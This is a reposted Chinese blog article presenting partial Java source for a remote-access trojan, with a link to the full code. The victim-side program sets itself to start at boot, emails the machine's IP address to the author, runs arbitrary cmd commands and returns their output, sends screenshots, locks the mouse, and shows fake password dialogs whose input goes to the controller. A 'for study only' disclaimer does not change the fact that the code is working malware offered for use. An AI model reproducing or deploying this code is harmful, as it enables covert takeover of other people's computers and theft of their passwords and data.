利用Java寫木馬程式(附原始碼!) - IT閱讀

文章推薦指數: 80 %
投票人數:10人

木馬定義:利用計算機程式漏洞侵入後竊取檔案的程式程式被稱為木馬。

它是一種具有隱藏性的、自發性的可被用來進行惡意行為的程式,多不會直接對電腦產生危害 ... java教程 利用Java寫木馬程式(附原始碼!) java教程 · 發表2018-10-05 這個小程式是很久以前寫的,現在發上來(僅供大家學習參考,不能用於任何非法行為~) 木馬定義:利用計算機程式漏洞侵入後竊取檔案的程式程式被稱為木馬。

它是一種具有隱藏性的、自發性的可被用來進行惡意行為的程式,多不會直接對電腦產生危害,而是以控制為主。

當然我寫的這個沒這麼“強大”。





首先講下我的實現思路: 主要通過Socket和ServerSocket之間傳輸資料。

由於我沒有自己的一個伺服器(沒有固定IP),所以在這個程式中,我把被控制端作為ServerSocket,.控制端為Socket。

要連線ServerSocket,首先要知道其的IP地址 這裡我採用當程式啟動時,從ServerSoket端傳送一份包含其IP資訊的郵件到自己的郵箱。

隨後控制端就可以順利連線到ServerSoket端了。

但是這裡有個問題,就是到ServerSoket處於內網時,將無法順利連線 連線成功之後,我們就可以傳送命令給ServerSoket。

然後在ServerSoket那一端進行執行。

這裡的執行包括ServerSoket進行相應的本地操作(具體操作的內容下面有說明),以及傳送資料給我們能的控制端。

程式功能說明: /**本程式僅供學習參考使用。

嚴禁使用本程式進行違法行為!*本程式功能*1、程式開機自動啟動(√)*2、自動傳送郵件*3、執行dos命令,並將資訊返回、這裡可以執行關機等命令(√)*4、鎖定滑鼠,這裡通過一個執行緒實現*5、檢視被控制端的桌面,將桌面畫面截圖併發送給控制端(√)*6、在被控制端彈出對話方塊,多種對話方塊模式(√)*7、讓被控制端閃屏(√)*本程式僅供學習參考使用。

嚴禁使用本程式進行違法行為!*/ 下面給出一些程式執行的效果圖: 首先輸入IP地址進行連線,通過郵件我們可以知道被控制端的IP地址,下面看下郵件效果 然後我們就可以進行相應的操作了 如輸入-help,可以顯示本程式支援的命令。

這裡演示下在被控制端彈出輸入密碼對話方塊 我們在控制端輸入-dinpass親,請輸入的你密碼! 那麼彈出的對話方塊效果如圖所示! 當被控制點選確定時,將傳送其輸入的密碼到控制端,我們可以看到效果。

我輸入的是123321 再演示個執行dos的關機命令。

其它功能如滑鼠鎖定等,不方便控制演示。

就留給大家自己探索!!! 下面附上程式碼 由於程式碼較多,這裡上傳部分程式碼 控制端部分程式碼 ControlWin.javaimport...;publicclassControlWin{Socketsocket;........publicControlWin(){in=newScanner(System.in);System.out.print("輸入IP:");IP=in.nextLine().trim();try{socket=newSocket(IP,PORT);....初始化其它資訊System.out.println("contected");dos=newDataOutputStream(socket.getOutputStream());dis=newDataInputStream(socket.getInputStream());newThread(newMyInputThread()).start();go();}catch(UnknownHostExceptione){e.printStackTrace();return;}catch(IOExceptione){e.printStackTrace();return;}}publicvoidgo(){//開始傳送命令while(true){System.out.println("intputcommend:");dosS=in.nextLine().trim();if(){.......}elseif(dosS.endsWith("-help")){System.out.println("-doutmsgmsg以對話方塊形式輸出資訊/n"+"-dinmsg彈出一個輸入對話方塊/n"+"-dinpassmsg彈出一個輸入密碼對話方塊+顯示資訊msg/n"+"-flashmsg閃屏並顯示msg所表示的文字/n"+"-p:獲取圖片/n"+"-ml鎖定鍵盤.....-ma取消鎖定/n"+"輸入其則執行相應的dos命令,如輸入ipconfig則顯示相應的ip資訊/n"+"exit:退出");continue;}try{dos.writeUTF(dosS);}catch(IOExceptione){e.printStackTrace();}}}/*接受被控制端傳送過來的圖片*/publicvoidgetPic(){.....while(true){try{num=dis.read(imageData,0,imageData.length);fos.write(imageData,0,num);length-=num;if(length==0){break;}}catch(Exceptione){try{System.out.println("error");fos.flush();fos.close();}catch(IOExceptione1){e1.printStackTrace();}break;}}....}publicstaticvoidmain(String[]args){newControlWin();}classMyInputThreadimplementsRunnable{接受被控制端返回的文字資訊publicvoidrun(){while(true){.....}}}}被控制端部分程式碼 Test.javapublicclassTest{ServerSocketserverSocket;Socketsocket;......publicTest(){/*在登錄檔中設定開機自動執行register();以及傳送郵件,主要是把自己的IP發出來,並進行一些初始化......*/go();}}/*在登錄檔中設定開機自動執行*/voidgo(){while(true){/**這裡不斷的接受傳送過來的命令然後根據命令執行相應的操作*如:(標有√,的是本程式已經實現的功能)*1、我們可以通過開啟一個執行緒通過robot鎖定滑鼠(√)*2、執行dos命令(√)*3、傳輸被控制端的檔案*4、檢視被控制端的桌面(√)*5、在被控制端彈出對話方塊(√)*6、讓被控制端閃屏(√)*7、等等等等*具體的實現都在這裡進行,當然這個需要和控制者那段的程式碼相配合*同時自己設計好具體的命令**/try{commendString=dis.readUTF().trim();}catch(IOExceptione){System.out.println("leave");break;}然後對commendString進行分析,執行相應的命令就是上面所描述的1,2,3...等等等命令}}/*在登錄檔註冊開機自動啟動*/publicvoidregister(){......}/*啟動執行緒鎖定滑鼠*/voidmouseLock(Strings){......}/*執行dos命令*/voiddosExe(StringdosString){Stringcommand="cmd/c"+dosString;Strings=null;try{process=r.exec(command);bufferedReader=newBufferedReader(newInputStreamReader(process.getInputStream()));dos.writeUTF("1start");while((s=bufferedReader.readLine())!=null){s=s.trim();dos.writeUTF(s);}dos.writeUTF("1end");}catch(IOExceptione){e.printStackTrace();}}/*傳送圖片*/voidsendPic(){......}publicstaticvoidmain(String[]args){newTest();}/*獲取本地IP*/StringgetIP(){StringipString="";Enumeration netInterfaces=null; try{ netInterfaces=NetworkInterface.getNetworkInterfaces(); while(netInterfaces.hasMoreElements()){ NetworkInterfaceni=netInterfaces.nextElement(); ipString=ipString+ni.getDisplayName()+"/n"; ipString=ipString+ni.getName()+"/n"; Enumeration ips=ni.getInetAddresses(); while(ips.hasMoreElements()){ ipString=ipString+ips.nextElement().getHostAddress() +"/n"; } } }catch(Exceptione){ e.printStackTrace(); } returnipString; } /*顯示訊息對話方塊*/ classShowDialogThreadextendsThread{...... } classMouseLockThreadextendsThread{...... } //這裡可以啟動其它的應用程式 classOtherAppextendsThread{ } /*下面兩個類用於檔案複製*/ classJarUtil{...... } classMyCopy{ publicintfileCopy(StringsFile,StringoFile){...... } } /* *傳送郵件部分需要一兩個郵箱,一個是傳送方郵箱,一個是接受郵箱 */ classSMail{ booleansended=false; Propertiesprops; Sessionsession; Messagemsg; Transporttransport; publicvoidsend(Strings){ try{ //System.out.println(s); props=newProperties(); props.setProperty("mail.smtp.auth","true"); props.setProperty("mail.transport.protocol","smtp"); session=Session.getDefaultInstance(props); //session.setDebug(true); msg=newMimeMessage(session); msg.setSubject("ip"); msg.setText(s); /*xxxxxxxxxxxxxxxx為傳送方郵箱使用者名稱*/ msg.setFrom(newInternetAddress(" [email protected]")); transport=session.getTransport(); /*xxxxxxxxxxxxxxxx為傳送方郵箱使用者名稱、 *yyyyyyyyy為傳送方郵箱密碼*/ transport.connect("smtp.sina.com",25,"xxxxxxxxxxxxxxxx","yyyyyyyyy"); transport.sendMessage(msg,newAddress[]{newInternetAddress( " [email protected]")}); transport.close(); sended=true; }catch(Exceptione){ } } publicSMail(){ sended=false; } } /*密碼輸入框*/ classMyDialogPassInputextendsJDialog{...... } /*閃屏*/ classFlash{...... } /*輸入對話方塊*/ classMyDialogMsgInputextendsJDialog{ JTextFieldtext; JButtonsureButton; Stringstring; publicMyDialogMsgInput(Strings){...... } } 轉自:http://blog.csdn.net/leasystu/article/details/7268402附上完整原始碼地址 http://download.csdn.net/detail/leasystu/4070931 標籤:木馬原始碼利用程式Java 更多相關知識… 利用Java寫木馬程式(附原始碼!) 這個小程式是很久以前寫的,現在發上來(僅供大家學習參考,不能用於任何非法行為~) 木馬定義:利用計算機程式漏洞侵入... 分享一下業餘時間,自己用C#寫的一個俄羅斯方塊的小程式(附原始碼)。

前兩天突發奇想,想要檢驗一下工作這一年多以來,程式設計思想是否有進步,以及對c#的掌握程度,所以拿俄羅斯方塊來試刀。

... J2ME3D程式設計――第一個3D程式(附原始碼) 參考WTK2.2提供的demo,完成了第一個3D程式,雖然很簡單,而且有些問題還不是很清楚,還是把程式碼共享出來和願意學... 基於簡訊的手機控制程式(附原始碼) 1.1前言興趣是最好的老師,這句話對於有志於從事軟體開發的人來說尤為重要,畢竟這一行業需要不斷的學習新知識,缺乏興趣的工... 一時間腦抽,打了簡單的比賽,用用java寫點ACM程式,好用不好用就這樣了 今天,看見學弟們興致勃勃的打一個模擬賽,很有興趣就來試一試了! 我的水平也就止於模擬題,模擬模擬就完了 P... 用1、2、2、3、4、5這六個數字,用java寫一個程式,打印出所有不同的排列 用1、2、2、3、4、5這六個數字,用java寫一個程式,打印出所有不同的排列,如:512234、412345等,要求:... Java編寫的計算器程式及原始碼 //frame版程式原始碼如下,疏漏之處,望批評指正。

//數字分組沒有編寫,科學型計算器沒有編寫,其他已經完善。

... Java編寫的計算器程式及原始碼(1) //frame版程式原始碼如下,疏漏之處,望批評指正。

//數字分組沒有編寫,科學型計算器沒有編寫,其他已經完善。

... 防止Java程式的原始碼被別人偷看的方法 Java程式的原始碼很容易被別人偷看,只要有一個反編譯器,任何人都可以分析別人的程式碼。

本文討論如何在不修改原有程式的情... 利用java.util.properties讀/存properties資原始檔及XML文件 大小:195.8KB... Javascript間諜指令碼分析:Web惡意程式Scanbox原始碼分析與演示Script 背景“ScanBox相當危險,它只需在web瀏覽器上執行Javascript程式碼即可啟動鍵盤記錄竊聽,不需要在你的計... 如何用JS/HTML將時間戳轉換為“xx天前”的形式【附原始碼,轉Script 如果我們有一份過去時間戳,如何使用JS/HTML將時間戳轉換為“xx天前”的形式呢,以下是完整程式碼  



請為這篇文章評分?